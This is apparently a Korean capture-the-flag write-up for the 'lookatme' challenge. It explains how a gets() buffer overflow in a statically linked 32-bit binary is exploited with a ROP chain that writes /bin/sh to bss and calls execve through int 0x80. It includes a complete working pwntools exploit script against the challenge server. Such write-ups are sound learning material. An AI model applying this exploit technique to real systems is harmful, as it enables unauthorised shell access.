gets 로 입력을받아 overflow 발생하는 프로그램이다.
왼쪽을 보면, 쓰이지않는 함수들도있는걸 볼 수 있는데,
기존에봐왔던 Dynamic linking 과 다르게
Static linking 을 했다.
Static linking 은
라이브러리코드들을 모두 실행파일에 포함시켜서
라이브러리 함수들로 ret 할 수 있습니다.
하지만 execve 는 안보이므로,
eax 에 32bit syscall 에서 SYS_EXECVE 값인 11을 넣고
int 0x80 으로 쉘을 따야겠습니다.
( NX 가 적용되어있어 쉘코드실행 X
RELRO 가 FULL 이 아니여서 bss 에 /bin/sh 입력가능)
execve("/bin/sh",NULL,NULL)
ebx ecx edx
0x080583bf : xor eax, eax ; pop ebx ; ret
0x080b81c6 : pop eax ; ret
0x080de955 : pop ecx ; ret
0x0806f02a : pop edx ; ret
int 0x80 으로 syscall 할 것이므로,
eax = SYS_EXECVE (11)
ebx = '/bin/sh'
ecx = 0 (NULL)
edx = 0 (NULL)
이렇게 인자를 넣어주자. /bin/sh 문자열은 찾을 수 없으니,
[ 1 ] = gets 로 리턴해서 bss 영역에 /bin/sh 를 써준뒤
[ 2 ] = 가젯들로 리턴해서 인자를 맞춰준후, int 0x80 으로 리턴
from pwn import *
r=remote("ctf.j0n9hyun.xyz",3017)
#r=process("./lookatme")
b=ELF("./lookatme")
bss=0x80eaf80+0x1000
int80=0x806cc25
peax=0x80b81c6
pebx=0x080583bf
pecx=0x80de955
pedx=0x0806f02a
pay=""
pay+='x'*28
pay+=p32(b.symbols['gets'])
pay+=p32(pebx)
pay+=p32(bss)
pay+=p32(pecx)
pay+=p32(0)
pay+=p32(pedx)
pay+=p32(0)
pay+=p32(peax)
pay+=p32(11)
pay+=p32(int80)
r.sendline(pay)
r.sendline("/bin/sh")
r.interactive()
ebx pop 하는 가젯을 eax pop 가젯보다 먼저써줘야한다. xor eax eax 로 초기화하기때문
(ebx 가젯에 2 를 더하면 상관없다)
다른 풀이를 보니, mprotect 함수로 bss 영역에 실행권한을 줘서
문제를 풀더라. 새로운걸 알아냈다.